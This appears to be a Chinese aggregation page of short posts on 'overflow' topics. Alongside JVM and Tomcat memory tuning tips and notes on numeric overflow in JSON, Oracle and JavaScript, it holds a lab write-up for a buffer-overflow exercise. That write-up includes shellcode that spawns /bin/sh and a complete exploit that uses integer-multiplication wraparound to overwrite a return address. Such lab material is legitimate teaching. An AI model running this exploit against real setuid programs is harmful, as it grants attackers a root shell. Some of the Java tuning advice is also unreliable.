精华内容
下载资源
问答
  • 当json字符串的某个数字字段超过十位数,比如int(10)的用户id(1000050048),解析出来...1000050040,明显的溢出错误! 我的解决办法是,直接改用extensions/CocoStudio/Json/rapidjson。

    当json字符串的某个数字字段超过十位数,比如int(10)的用户id(1000050048),解析出来就是1000050040,明显的溢出错误!



    我的解决办法是,直接改用extensions/CocoStudio/Json/rapidjson。



    展开全文
  • 最近在做一个项目,里面有一个字段是手机号码,我用的是oracle数据库,对于这个字段我设计成了number类型11位,设计好表后,用navicat测试存取正常。  但是,在写后台代码的存值时,出现java.sql.SQLException: ...

        最近在做一个项目,里面有一个字段是手机号码,我用的是oracle数据库,对于这个字段我设计成了number类型11位,设计好表后,用navicat测试存取正常。

        但是,在写后台代码的存值时,出现java.sql.SQLException: 数字溢出的错误,看了眼我写的实体类,对电话号这一栏设计的数据类型为int,反复测试后得出结论

        int类型数据程度小于等于10,java代码存的时候可以用int类型,大于这个数字就要用long类型,否则会报错。

        字符串类型的数据转换成long    long lon=Long.valueOf(str)

     

    展开全文
  • 本文主要介绍通过运算溢出的符号位溢出,以绕过限制长度,最终达到溢出目的。

    最近在做缓冲区溢出实验,总共有6个

    shellcode.h

    shellcode的作用是运行一个/bin/sh

    /*
     * Aleph One shellcode.45个字节
     */
    static const char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    

    源代码vul3.c

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    struct widget_t {//定义一个widget_t的结构体,根据对齐值,大小为20字节
      double x;
      double y;
      int count;
    };
    
    #define MAX_WIDGETS 1000 //定义widget_t的最大个数
    
    int foo(char *in, int count)
    {
      struct widget_t buf[MAX_WIDGETS];//声明
    //传入的count为无符号整形,buf数组的大小为1000*20=20000字节
      if (count < MAX_WIDGETS) //为这些结构体实例申请空间 
      {
        memcpy(buf, in, count * sizeof(struct widget_t));
      }
      return 0;
    }
    
    int main(int argc, char *argv[])
    {
      int count;
      char *in;
    
      if (argc != 2)//保证输入的参数个数为1
        {
          fprintf(stderr, "target3: argc != 2\n");
          exit(EXIT_FAILURE);
        }
      setuid(0);//设置UID为0
    
      /*
       * format of argv[1] is as follows:
       *
       * - a count, encoded as a decimal number in ASCII
       * - a comma (",")
       * - the remainder of the data, treated as an array
       *   of struct widget_t
       */
      //count为整型数
      count = (int)strtoul(argv[1], &in, 10);//将输入的参数转成无符号long型整数
      //将argv[1]中的count转换成无符号long型,并把后续",data"指针交给in
      // unsigned long strtoul(const char *nptr,char **endptr,int base);
      // strtoul()会将参数nptr字符串根据参数base来转换成无符号的长整型数。
      // 参数base范围从2至36,或0。参数base代表采用的进制方式,
      // 如base值为10则采用10进制,若base值为16则采用16进制数等。
      // 当base值为0时会根据情况选择用哪种进制:如果第一个字符是'0',就判断第二字符如果是‘x’则用16进制,否则用8进制;第一个字符不是‘0’,则用10进制。
      // 一开始strtoul()会扫描参数nptr字符串,跳过前面的空格字符串,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时('')结束转换,并将结果返回。
      // 若参数endptr不为NULL,则会将遇到不合条件而终止的nptr中的字符指针由endptr返回。
      if (*in != ',')
        {
          fprintf(stderr, "target3: argument format is [count],[data]\n");
          exit(EXIT_FAILURE);
        }
      in++;                         /* advance one byte, past the comma */
      foo(in, count);
    
      return 0;
    }
    
    

    攻击代码

    #include <stdio.h>
    #include <stdint.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include "shellcode.h"
    
    #define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul3"
    
    int main(void)
    {
      char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh"
      "\xb8\x61\xff\xbf\xb8\x61\xff\xbf";
      char payload1[20008];
      char payload2[20020] = "-2147482647,"; 
      memset(payload1,'\x90',19955);
      memcpy(payload1 + 19955,shellcode,sizeof(shellcode));
      strcat(payload2,payload1);
      char *args[] = { TARGET, payload2 , NULL};//定义运行参数
      char *env[] = { NULL };
    
      execve(TARGET, args, env);
      fprintf(stderr, "execve failed.\n");
    
      return 0;
    }
    
    

    简单原理说明

    缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
    造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。

    环境声明

    LINUX 32位系统
    本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行:

    1. 关闭地址随机化功能:
      echo 0 > /proc/sys/kernel/randomize_va_space2.
    2. gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。
      gcc -z execstack -o test test.c
    3. 在编译时可以控制是否开启栈保护以及程度,
      gcc -fno-stack-protector -o test test.c //禁用栈保护
      gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码
      gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

    实验过程

    1. 确定溢出目标:
      本子任务的输入参数需要特殊构造,格式为: [count],[data] .
      之所以这样做,是因为文件中使用了 strtoul()函数 来读取count,后续根据count的大小并结合文件规定的 MAX_WIDGETS来进行内存拷贝。
      而问题就出在count上面,首先来看一下stroul()函数的基本描述:
      原型:unsigned long strtoul(const char *nptr,char **endptr,int base);
      strtoul()会将参数nptr字符串根据参数base来转换成无符号的长整型数。
      所以传入foo()函数的参数count实际上是一个无符号整形数,但是参数却是以int型进行传递,故而如果输入负数,可以轻松绕过foo()函数中的if判断,且对于大整数而言,存在符号位溢出的可能性,即一个大负数×一个数会生成一个正数。
      在这里插入图片描述
      故而,我们的目标就是通过构造count,来绕过foo()函数中的if判断,并通过运算符号位溢出,来溢出buf结构数组,从而覆盖foo函数的返回地址。
    2. 构造payload:
      当前我们知道信息有,widget_t结构体的大小为20个字节:
      在这里插入图片描述
      foo()函数中申请了1000个widget_t结构体的结构数组buf,大小为20000个字节。
      当然这些其实都不重要,重要的是我们需要构造一个负数,使得foo()函数中的判断成立,且后续的拷贝大小大于20000:
      在这里插入图片描述
      显然,只要是负数,判断均可以通过。
      其次,count*20>20000,为了减少一定的资源损耗,我们按1001来构造,而1001的十六进制表示为:\x3e9。我们使\x3e9的符号位为1,得到了\x800003e9,不难求得,20*\x3e9与20*\x800003e9的结果相同(符号位溢出了)。
      而计算机中负数是以补码的形式存储,对\x800003e9求补(按位取反+1)可以得到对应的正数:2147482647,故而我们输入的count为:-2147482647
      最后,考虑一下data的构造,首先在data之中必然要嵌入shellcode,其次,我们知道原本的空间为20000个字节,那么返回地址就在20008个字节处,GDB调试时,得到了buf的基址为0xbfff61b8,即在20004-20008个字节填充该值即可。
      在这里插入图片描述
      最终的payload构造如下:共20020个字节
      Count段:共12个字节
      Data段:共20008个字节
      前19955个字节为NOP,接着45个字节为shellcode,最后8个字节为EBP与返回地址。
      在这里插入图片描述
    3. 编译并运行,结果如下图所示;
      在这里插入图片描述

    可见,成功执行了shellcode,溢出执行成功。

    总结

    本实验主要是绕过if判断,这里是因为无符号整数和整数的判断不一致造成的,而后续由于大整数进行乘出现了运算溢出,使得符号位溢出了,最终达到了大负数乘一个整数申请了比原限制更大的空间,从而覆盖返回地址从而执行构造好的shellcode

    展开全文
  • tomcat内存溢出原因分析与解决以及java内存溢出、栈溢出的原因与排查方法

    tomcat

    在生产环境中tomcat内存设置不好很容易出现内存溢出。造成内存原因是不一样的,当然处理方式也不一样。

      这里根据平时遇到的情况和相关资料进行一个总结。常见的一般会有下面三种情况:

      1.OutOfMemoryError: Java heap space

      2.OutOfMemoryError: PermGen space

      3.OutOfMemoryError: unable to create new native thread.

      对于前两种情况,在应用本身没有内存泄露的情况下可以用设置tomcat jvm参数来解决。(-Xms -Xmx -XX: PermSize   -XX:MaxPermSize)

      最后一种可能需要调整操作系统和tomcat jvm参数同时调整才能达到目的。

      第一种:是堆溢出

      在JVM中如果98%的时间是用于GC且可用的 Heap size 不足2%的时候将抛出此异常信息。

      没有内存泄露的情况下,调整-Xms -Xmx参数可以解决。

      -Xms:初始堆大小

      -Xmx:最大堆大小

      但堆的大小受下面三方面影响:

      1.相关操作系统的数据模型(32-bt还是64-bit)限制;(32位系统下,一般限制在1.5G~2G;我在2003 server 系统下(物理内存:4G和6G,jdk:1.6)测试 1612M,64为操作系统对内存无限制。)

      2.系统的可用虚拟内存限制;

      3.系统的可用物理内存限制。

      堆的大小可以使用 java -Xmx***M   version 命令来测试。支持的话会出现jdk的版本号,不支持会报错。

      -Xms -Xmx一般配置成一样比较好比如set JAVA_OPTS= -Xms1024m -Xmx1024m

      第二种:永久保存区域溢出

      PermGen space的全称是Permanent Generationspace,是指内存的永久保存区域。这一部分用于存放Class和Meta的信息,Class在被 Load的时候被放入PermGenspace区域,它和和存放Instance的Heap区域不同,GC(Garbage Collection)不会在主程序运行期对PermGenspace进行清理,所以如果你的APP会LOAD很多CLASS的话,就很可能出现PermGenspace错误。这种错误常见在web服务器对JSP进行precompile的时候。但目前的hibernate和spring项目中也很容易出现这样的问题。http://www.javaeye.com/topic/80620?page=1 的帖子有讨论的这个问题。可能是由于这些框架会动态class,而且jvm的gc是不会清理PemGen space的,导致内存溢出。

      这一个一般是加大-XX: PermSize   -XX:MaxPermSize 来解决问题。

      -XX: PermSize 永久保存区域初始大小

      -XX: PermSize 永久保存区域初始最大值

      这一般结合第一条使用,比如 set JAVA_OPTS= -Xms1024m -Xmx1024m   -XX: PermSize=128M -XX: PermSize=256M

      有一点需要注意:java -Xmx***M   version 命令来测试的最大堆内存是 -Xmx与 -XX: PermSize的和 比如系统支持最大的jvm堆大小事1.5G,那   -Xmx1024m   -XX: PermSize=768M 是无法运行的。

      第三种:无法创建新的线程。

      这种现象比较少见,也比较奇怪,主要是和jvm与系统内存的比例有关。

      这种怪事是因为JVM已经被系统分配了大量的内存(比如1.5G),并且它至少要占用可用内存的一半。有人发现,在线程个数很多的情况下,你分配给JVM的内存越多,那么,上述错误发生的可能性就越大。

      产生这种现象的原因如下:每一个32位的进程最多可以使用2G的可用内存,因为另外2G被操作系统保留。这里假设使用1.5G给JVM,那么还余下500M可用内存。这500M内存中的一部分必须用于系统dll的加载,那么真正剩下的也许只有400M,现在关键的地方出现了:当你使用Java创建一个线程,在JVM的内存里也会创建一个Thread对象,但是同时也会在操作系统里创建一个真正的物理线程(参考JVM规范),操作系统会在余下的400兆内存里创建这个物理线程,而不是在JVM的1500M的内存堆里创建。在jdk1.4里头,默认的栈大小是256KB,但是在jdk1.5里头,默认的栈大小为1M每线程,因此,在余下400M的可用内存里边我们最多也只能创建400个可用线程。

      这样结论就出来了,要想创建更多的线程,你必须减少分配给JVM的最大内存。还有一种做法是让JVM宿主在你的JNI代码里边。

      给出一个有关能够创建线程的最大个数的估算公式:

      (MaxProcessMemory - JVMMemory - ReservedOsMemory) / (ThreadStackSize) = Number of threads

      对于jdk1.5而言,假设操作系统保留120M内存:

      1.5GB JVM: (2GB-1.5Gb-120MB)/(1MB) = ~380 threads

      1.0GB JVM: (2GB-1.0Gb-120MB)/(1MB) = ~880 threads

      在2000/XP/2003的boot.ini里头有一个启动选项,好像是:/PAE /3G ,可以让用户进程最大内存扩充至3G,这时操作系统只能占用最多1G的虚存。那样应该可以让JVM创建更多的线程。

      因此这种情况需要结合操作系统进行相关调整。

      因此:我们需要结合不同情况对tomcat内存分配进行不同的诊断才能从根本上解决问题。

    说完了原因后如何设置呢?

    这里面有两种情况:

    1、当用控制台启动的时候可以在,catalina.bat最前面加入 set JAVA_OPTS=-Xms128m -Xmx350m 。。。。

    2、当用服务启动的时候,设置的方法是不一样的,这点很多人忽视。见图如下,只有在这里设置才生效,这个困扰了我一会。


    当然也可以在注册表中进行配置,注册表的位置如下:

    HKEY_LOCAL_MACHINE\SOFTWARE\Apache Software Foundation\Procrun 2.0\Tomcat7\Parameters

    以上内容配置好后,应该不会出现这些问题,当然程序不能有内存泄漏。

    java

     1、 内存溢出的原因是什么?

           内存溢出是由于没被引用的对象(垃圾)过多造成JVM没有及时回收,造成的内存溢出。如果出现这种现象可行代码排查:

    一)是否App中的类中和引用变量过多使用了Static修饰 如public staitc Student s;在类中的属性中使用 static修饰的最好只用基本类型或字符串。如public static int i = 0; //public static String str;

    二)是否App中使用了大量的递归或无限递归(递归中用到了大量的建新的对象)

    三)是否App中使用了大量循环或死循环(循环中用到了大量的新建的对象)

    四)检查App中是否使用了向数据库查询所有记录的方法。即一次性全部查询的方法,如果数据量超过10万多条了,就可能会造成内存溢出。所以在查询时应采用“分页查询”。

    五)检查是否有数组,List,Map中存放的是对象的引用而不是对象,因为这些引用会让对应的对象不能被释放。会大量存储在内存中。

    六)检查是否使用了“非字面量字符串进行+”的操作。因为String类的内容是不可变的,每次运行"+"就会产生新的对象,如果过多会造成新String对象过多,从而导致JVM没有及时回收而出现内存溢出。

    如String s1 = "My name";

    String s2 = "is";

    String s3 = "xuwei";

    String str = s1 + s2 + s3 +.........;这是会容易造成内存溢出的

    但是String str =  "My name" + " is " + " xuwei" + " nice " + " to " + " meet you"; //但是这种就不会造成内存溢出。因为这是”字面量字符串“,在运行"+"时就会在编译期间运行好。不会按照JVM来执行的。

    在使用String,StringBuffer,StringBuilder时,如果是字面量字符串进行"+"时,应选用String性能更好;如果是String类进行"+"时,在不考虑线程安全时,应选用StringBuilder性能更好。

    七)使用 DDMS工具进行查找内存溢出的大概位置

    2、栈溢出的原因

          一)、是否有递归调用

    二)、是否有大量循环或死循环

    三)、全局变量是否过多

    四)、 数组、List、map数据是否过大

    五)使用DDMS工具进行查找大概出现栈溢出的位置

    Java Heap分为3个区:

    1.Young 2.Old 3.Permanent。Young保存刚实例化的对象。当该区被填满时,GC会将对象移到Old区。Permanent区则负责保存反射对象,本文不讨论该区。

    JVM有2个GC线程:
    第一个线程负责回收Heap的Young区;
    第二个线程在Heap不足时,遍历Heap,将Young 区升级为Older区,Older区的大小等于-Xmx减去-Xmn,不能将-Xms的值设的过大,因为第二个线程被迫运行会降低JVM的性能。

    为什么一些程序频繁发生GC?有如下原因:
    1. 程序内调用了System.gc()或Runtime.gc()。
    2. 一些中间件软件调用自己的GC方法,此时需要设置参数禁止这些GC。
    3. Java的Heap太小,一般默认的Heap值都很小。
    4. 频繁实例化对象,Release对象 此时尽量保存并重用对象,例如使用StringBuffer()和String()。

    如果你发现每次GC后,Heap的剩余空间会是总空间的50%,这表示你的Heap处于健康状态许多Server端的Java程序每次GC后最好能有65%的剩余空间。

    展开全文
  • 小心浮点数溢出

    千次阅读 2019-09-06 17:13:47
    平时编码相对关注整形溢出情况,对于浮点数考虑溢出情况关注较少,因为计算性能的缘故本身使用浮点数的时机就很少,而且也很少会用到较大的数。 但是如果使用pow之类的函数的时候,就要关注下是否会有溢出的情况。 ...
  • js_Number

    2019-03-15 09:17:42
    Number 对象属性 MAX_VALUE 可表示的最大的数。 MIN_VALUE 可表示的最小的数。 NEGATIVE_INFINITY 负无穷大,溢出时返回该值。 NaN 非数字值。 POSITIVE_INFINITY 正无穷大,溢出时返回该值...
  • java安全编码指南之:Number操作

    万次阅读 2020-09-10 09:55:41
    文章目录简介Number的范围区分位运算和算数运算注意不要使用0作为除数兼容C++的无符号整数类型NAN和INFINITY不要使用float或者double作为循环的计数器BigDecimal的构建类型转换问题 简介 java中可以被称为Number的有...
  • 整数溢出

    千次阅读 2009-09-07 09:27:00
    因为用long存秒数最多能存68年,如果超过这个时间段就会产生溢出。比如,int i = INT_MAX,i++,则i就会溢出。这时i的二进制值就是1000……0,因为负数使用补码表示,1000……0取反(不包括符号位)再加1,i的值实际...
  • Magic number

    2016-06-27 10:22:21
    指写到代码里的常量,数值一般程序员指定,可以通过写入幻数可以判定程序正确还是错误,比如在文件头写入幻数,可以通过比对幻数来判断文件是否被破坏,在缓冲区旁写入幻数,可以判断缓存是否溢出
  • es6学习之Number类型

    千次阅读 2018-02-28 17:18:37
    一.es5的Number类型 1.Number 对象属性 constructor 返回对创建此对象的 Number 函数的引用。 MAX_VALUE 可表示的最大的数。 MIN_VALUE 可表示的最小的数。 NaN 非数字值。 NEGATIVE_INFINITY 负无穷大,...
  • javascript算术运算溢出

    千次阅读 2015-03-13 15:01:18
    js中的算术在溢出overflow,下溢underflow或被0整除时不会报错。 当数字结果超过了数字上限时,结果为一个特殊的无穷大(infinity)值,在js中以Infinity表示;同理,当负数超出了负数表示范围,则结果为负无穷大,在...
  • 二分法的溢出问题

    2019-07-31 10:35:35
    一个标准的二分法查找 int guess(int num);//返回数字大小 int guessNumber(int n) { int left=1; int right=n; int pick; pick=left+(right-left)/2; ...
  •  4、Number.NEGATIVE_INFINITY 负无穷,当溢出时返回。  5、Number.POSITIVE_INFINITY 正无穷,当溢出时返回。 三、Number方法  1、toString() 使用指定进制,将一个数字转换为字符串。  2、toLocaleString()...
  • 构造函数 Number(value) new Number(value) Number属性 Number.MAX_VALUE 返回能表示的最大数字。...Number.NEGATIVE_INFINITY 负无穷,当溢出时返回。 Number方法 toString() 使用...
  • 溢出了整数列。

    千次阅读 2015-02-06 11:26:03
    sql数据溢出:   错误提示:转换 varchar 值 '18953136215' 时溢出了整数列。 错误代码:select * from tblSMSInfo where 1=1 and TO_NUMBER=185313621 正确代码:select * from tblSMSInfo where 1=1 and TO_...
  • 要分析这两者之间的区别,通过两者的定义基本上可以理解两者之间的却别。内存泄漏是指程序由于错误或...内存溢出是指已有的数据超过了其获得到的内存所能存储的范围,比如用一个字节存放9999这个数字就属于内存溢出
  • ES5到ES6碎片知识整理 【一】 Number对象内置属性 思维导图 注解 Number内置属性,平时应该很少用到,一般用于判断JS数值是否溢出,或者数值是否为无穷 ...
  • 解决int类型溢出问题

    2020-09-25 16:04:14
    解决溢出问题有两个思路,第一个思路是通过字符串转换加try catch的方式来解决,第二个思路就是通过数学计算来解决。 try catch try { int number = Integer.parseInt(str); System.out.println(number); }...
  • Tomcat内存溢出原因分析

    千次阅读 2016-08-02 12:40:28
    Tomcat内存溢出的原因   在生产环境中tomcat内存设置不好很容易出现内存溢出。造成内存溢出是不一样的,当然处理方式也不一样。  这里根据平时遇到的情况和相关资料进行一个总结。常见的一般会有下面三种情况...
  • int guessNumber(int n) { int low = 0,high = n,mid; while(low&amp;lt;=high){ mid = low + (high-low)/2;//不发生溢出 //mid = (low + high)/2; //发生溢出 if(guess(mid)==-1){ high = mid -1; } else if(.....
  • JavaScript 之 Number 对象

    2017-02-24 13:59:18
    Number 对象是原始数值的包装对象。 一、创建Number对象的语法: var num = new Number(value); var num = Number(value) 参数value是要创建的Number对象的数值,或是要转换成数字的值。 当Number()和运算符new...
  • Palindrome Number

    2014-05-12 11:31:52
    注意一些边界情况,负数,溢出的情况
  • Largest Number

    2015-04-03 11:10:22
    Given a list of non negative integers, arrange them such that they form the largest number. For example, given [3, 30, 34, 5, 9], the largest formed number is 9534330. Note: The result may be very ...
  • 数据溢出-int值太大变成负数

    万次阅读 2019-01-02 14:36:07
    在解析硬件传过来的信号时,因为在压力测试我就想记录一下一共传了多少包,下午再去看的时候,看打印日志竟然打印出了负数,一脸懵逼。我还以为是出什么想不到的bug了,后面我写了段... number = number+100000; ...
  • SqlDateTime 溢出

    千次阅读 2012-06-09 19:38:04
    “SqlDateTime溢出。必须介于 1/1/1753 12:00:00 AM 和 12/31/9999 11:59:59 PM之间。” 原因: 关于DateTime,在将DateTime类型,插入到数据库的时候,最容易出现的一种错误:“SqlDateTime溢出。必须介于 ...
  • 转载请注明出处:... 这里我们不说理论,只讲实战,以Metasploit溢出bof-server.exe为例。 1.下载工具 这里需要下载bof-server.exe和ImmunityDebugger bof-server.exe 下载地址为:http://redstack.ne...
  • Number对象即数字,它的构造方法: 复制代码 代码如下:var num = 10; var num = new Number();//num == 0 var num = new Number(value); 其中value为数值或是可以转换为数值的量,如 ...负无穷大,溢出时返回该
  • 在数据挖掘、分析的时候我们可能会遇到过超大数字在数据库中的计算,但是Oracle...还有to_number的时候也会出现这个问题,也是数字溢出的错误 select to_number(1E200) from dual; 这是因为Oracle中数字的精度不能超过

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 67,831
精华内容 27,132
关键字:

number溢出